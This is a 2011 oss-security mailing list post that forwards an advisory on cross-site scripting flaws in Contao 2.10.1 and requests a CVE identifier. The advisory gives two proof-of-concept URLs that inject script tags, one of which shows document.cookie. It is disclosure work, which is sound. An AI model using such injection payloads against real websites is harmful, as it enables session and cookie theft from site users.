oss-security - CVE-request: Contao 2.10.1 Cross-site scripting vulnerability

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <20111121224129.GA25272@foo.fgeek.fi>
Date: Tue, 22 Nov 2011 00:41:29 +0200
From: Henri Salo <henri@...v.fi>
To: oss-security@...ts.openwall.com
Cc: sschurtz@...nline.de
Subject: CVE-request: Contao 2.10.1 Cross-site scripting vulnerability

----- Forwarded message from sschurtz@...nline.de -----

Date: Sat, 8 Oct 2011 07:59:27 GMT
From: sschurtz@...nline.de
To: bugtraq@...urityfocus.com
Subject: Contao 2.10.1 Cross-site scripting vulnerability
X-Mailer: MIME-tools 5.420 (Entity 5.420)

Advisory:              	Contao 2.10.1 Cross-site scripting vulnerability
Advisory ID:           	SSCHADV2011-025
Author:                	Stefan Schurtz
Affected Software:  	Successfully tested on Contao 2.10.1
Vendor URL:          	http://www.contao.org/
Vendor Status:       	fixed
CVE-ID:                	-

==========================
Vulnerability Description:
==========================

Contao 2.10 is prone to multiple Cross-site scripting vulnerability

==================
Technical Details:
==================

http://<target>/contao-2.10.1/index.php/teachers.html?"/><script>alert('xss')</script>
http://<target>/contao-2.10.1/index.php/teachers/'"</style></script><script>alert(document.cookie)</script>

=========
Solution:
=========

- Vendor patch available - http://dev.contao.org/projects/typolight/repository/revisions/1041
- Release of a new version 2.10.2 next week

====================
Disclosure Timeline:
====================

07-Oct-2011 - informed developers (contao@...trobots.com)
07-Oct-2011 - vendor fix
08-Oct-2011 - release date of this security advisory

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
U
References:
===========

http://www.contao.org/
http://dev.contao.org/projects/typolight/repository/revisions/1041
http://www.rul3z.de/advisories/SSCHADV2011-025.txt

----- End forwarded message -----

Can you assign CVE-identifier for this vulnerability?

http://dev.contao.org/projects/typolight/repository/revisions/8de5b536973a38ba75ebebfff16a5f0f29d99671 (reported 10/10/2011 03:09 pm)
http://dev.contao.org/projects/typolight/repository/revisions/b7b2c2281227ad9c1647bf1f03e6d663b8387959 (reported 10/07/2011 01:33 pm)

Best regards,
Henri Salo

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.